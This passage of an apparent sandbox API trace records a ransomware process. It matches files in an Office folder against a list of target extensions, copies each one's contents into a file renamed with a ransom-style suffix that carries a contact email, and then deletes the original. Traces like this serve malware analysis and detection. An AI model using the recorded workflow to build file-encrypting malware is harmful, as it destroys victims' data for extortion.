4 [0247.438] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.438] lstrlenW (lpString=".7z") returned 3 [0247.438] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.438] lstrlenW (lpString=".dbf") returned 4 [0247.438] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.438] lstrlenW (lpString=".1cd") returned 4 [0247.438] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0247.438] lstrlenW (lpString=".jpg") returned 4 [0247.438] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.438] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.439] lstrlenW (lpString="BSTORM.VSL") returned 10 [0247.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.439] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=45968) returned 1 [0247.440] CloseHandle (hObject=0x3bc) returned 1 [0247.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 0x20 [0247.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.440] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.440] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.442] GetLastError () returned 0x0 [0247.442] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xb390, lpOverlapped=0x0) returned 1 [0247.445] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xb3a0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xb3a0, lpOverlapped=0x0) returned 1 [0247.446] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.446] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0247.446] SetEndOfFile (hFile=0x3ac) returned 1 [0247.446] CloseHandle (hObject=0x3ac) returned 1 [0247.446] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.446] SetEndOfFile (hFile=0x3bc) returned 1 [0247.448] CloseHandle (hObject=0x3bc) returned 1 [0247.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) returned 1 [0247.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.449] lstrlenW (lpString=".doc") returned 4 [0247.449] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.449] lstrlenW (lpString=".docx") returned 5 [0247.449] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0247.449] lstrlenW (lpString=".pdf") returned 4 [0247.449] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.449] lstrlenW (lpString=".xls") returned 4 [0247.449] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.449] lstrlenW (lpString=".xlsx") returned 5 [0247.449] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0247.449] lstrlenW (lpString=".ppt") returned 4 [0247.449] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString=".zip") returned 4 [0247.450] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.450] lstrlenW (lpString=".rar") returned 4 [0247.450] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString=".bz2") returned 4 [0247.450] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString=".7z") returned 3 [0247.450] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString=".dbf") returned 4 [0247.450] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString=".1cd") returned 4 [0247.450] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString=".jpg") returned 4 [0247.450] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString=".doc") returned 4 [0247.450] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString=".docx") returned 5 [0247.450] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0247.450] lstrlenW (lpString=".pdf") returned 4 [0247.450] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString=".xls") returned 4 [0247.450] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0247.450] lstrlenW (lpString=".xlsx") returned 5 [0247.450] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0247.450] lstrlenW (lpString=".ppt") returned 4 [0247.450] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.450] lstrlenW (lpString=".zip") returned 4 [0247.450] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0247.450] lstrlenW (lpString=".rar") returned 4 [0247.450] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0247.450] lstrlenW (lpString=".bz2") returned 4 [0247.450] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0247.451] lstrlenW (lpString=".7z") returned 3 [0247.451] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0247.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.451] lstrlenW (lpString=".dbf") returned 4 [0247.451] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0247.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.451] lstrlenW (lpString=".1cd") returned 4 [0247.451] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0247.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0247.451] lstrlenW (lpString=".jpg") returned 4 [0247.451] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0247.451] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0247.451] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0247.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.452] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2144) returned 1 [0247.452] CloseHandle (hObject=0x3bc) returned 1 [0247.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0247.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.453] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.453] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.453] GetLastError () returned 0x0 [0247.453] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x860, lpOverlapped=0x0) returned 1 [0247.454] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x870, lpOverlapped=0x0) returned 1 [0247.455] ReadFile (in: hFile=0x3bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.455] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.455] SetEndOfFile (hFile=0x3ac) returned 1 [0247.456] CloseHandle (hObject=0x3ac) returned 1 [0247.456] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.456] SetEndOfFile (hFile=0x3bc) returned 1 [0247.457] CloseHandle (hObject=0x3bc) returned 1 [0247.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1 [0247.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.458] lstrlenW (lpString=".doc") returned 4 [0247.458] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0247.458] lstrlenW (lpString=".docx") returned 5 [0247.458] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0247.458] lstrlenW (lpString=".pdf") returned 4 [0247.458] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0247.458] lstrlenW (lpString=".xls") returned 4 [0247.458] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0247.458] lstrlenW (lpString=".xlsx") returned 5 [0247.458] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0247.458] lstrlenW (lpString=".ppt") returned 4 [0247.458] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0247.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.458] lstrlenW (lpString=".zip") returned 4 [0247.458] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0247.458] lstrlenW (lpString=".rar") returned 4 [0247.458] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0247.458] lstrlenW (lpString=".bz2") returned 4 [0247.458] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString=".7z") returned 3 [0247.459] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString=".dbf") returned 4 [0247.459] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString=".1cd") returned 4 [0247.459] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString=".jpg") returned 4 [0247.459] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString=".doc") returned 4 [0247.459] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString=".docx") returned 5 [0247.459] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0247.459] lstrlenW (lpString=".pdf") returned 4 [0247.459] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString=".xls") returned 4 [0247.459] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0247.459] lstrlenW (lpString=".xlsx") returned 5 [0247.459] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0247.459] lstrlenW (lpString=".ppt") returned 4 [0247.459] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString=".zip") returned 4 [0247.459] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0247.459] lstrlenW (lpString=".rar") returned 4 [0247.459] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString=".bz2") returned 4 [0247.459] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0247.459] lstrlenW (lpString=".7z") returned 3 [0247.459] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0247.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.459] lstrlenW (lpString=".dbf") returned 4 [0247.460] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0247.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.460] lstrlenW (lpString=".1cd") returned 4 [0247.460] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0247.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0247.460] lstrlenW (lpString=".jpg") returned 4 [0247.460] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0247.460] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.460] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0247.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.460] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=12176) returned 1 [0247.460] CloseHandle (hObject=0x3bc) returned 1 [0247.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20 [0247.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.461] lstrlenW (lpString=".doc") returned 4 [0247.461] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.461] lstrlenW (lpString=".docx") returned 5 [0247.461] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0247.461] lstrlenW (lpString=".pdf") returned 4 [0247.461] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.461] lstrlenW (lpString=".xls") returned 4 [0247.461] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.461] lstrlenW (lpString=".xlsx") returned 5 [0247.461] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0247.461] lstrlenW (lpString=".ppt") returned 4 [0247.461] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.461] lstrlenW (lpString=".zip") returned 4 [0247.461] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.461] lstrlenW (lpString=".rar") returned 4 [0247.461] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.461] lstrlenW (lpString=".bz2") returned 4 [0247.461] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.461] lstrlenW (lpString=".7z") returned 3 [0247.461] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.461] lstrlenW (lpString=".dbf") returned 4 [0247.461] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.461] lstrlenW (lpString=".1cd") returned 4 [0247.461] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.461] lstrlenW (lpString=".jpg") returned 4 [0247.461] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.462] lstrlenW (lpString=".doc") returned 4 [0247.462] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString=".docx") returned 5 [0247.462] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0247.462] lstrlenW (lpString=".pdf") returned 4 [0247.462] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString=".xls") returned 4 [0247.462] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString=".xlsx") returned 5 [0247.462] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0247.462] lstrlenW (lpString=".ppt") returned 4 [0247.462] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.462] lstrlenW (lpString=".zip") returned 4 [0247.462] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString=".rar") returned 4 [0247.462] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.462] lstrlenW (lpString=".bz2") returned 4 [0247.462] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.462] lstrlenW (lpString=".7z") returned 3 [0247.462] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.462] lstrlenW (lpString=".dbf") returned 4 [0247.462] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.462] lstrlenW (lpString=".1cd") returned 4 [0247.462] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0247.462] lstrlenW (lpString=".jpg") returned 4 [0247.462] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.462] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.462] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0247.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.463] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=19880) returned 1 [0247.463] CloseHandle (hObject=0x3bc) returned 1 [0247.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20 [0247.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.463] lstrlenW (lpString=".doc") returned 4 [0247.463] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.463] lstrlenW (lpString=".docx") returned 5 [0247.463] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0247.463] lstrlenW (lpString=".pdf") returned 4 [0247.463] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.463] lstrlenW (lpString=".xls") returned 4 [0247.463] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.463] lstrlenW (lpString=".xlsx") returned 5 [0247.464] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0247.464] lstrlenW (lpString=".ppt") returned 4 [0247.464] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.464] lstrlenW (lpString=".zip") returned 4 [0247.464] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString=".rar") returned 4 [0247.464] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.464] lstrlenW (lpString=".bz2") returned 4 [0247.464] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.464] lstrlenW (lpString=".7z") returned 3 [0247.464] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0247.464] lstrlenW (lpString=".dbf") returned 4 [0247.464] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 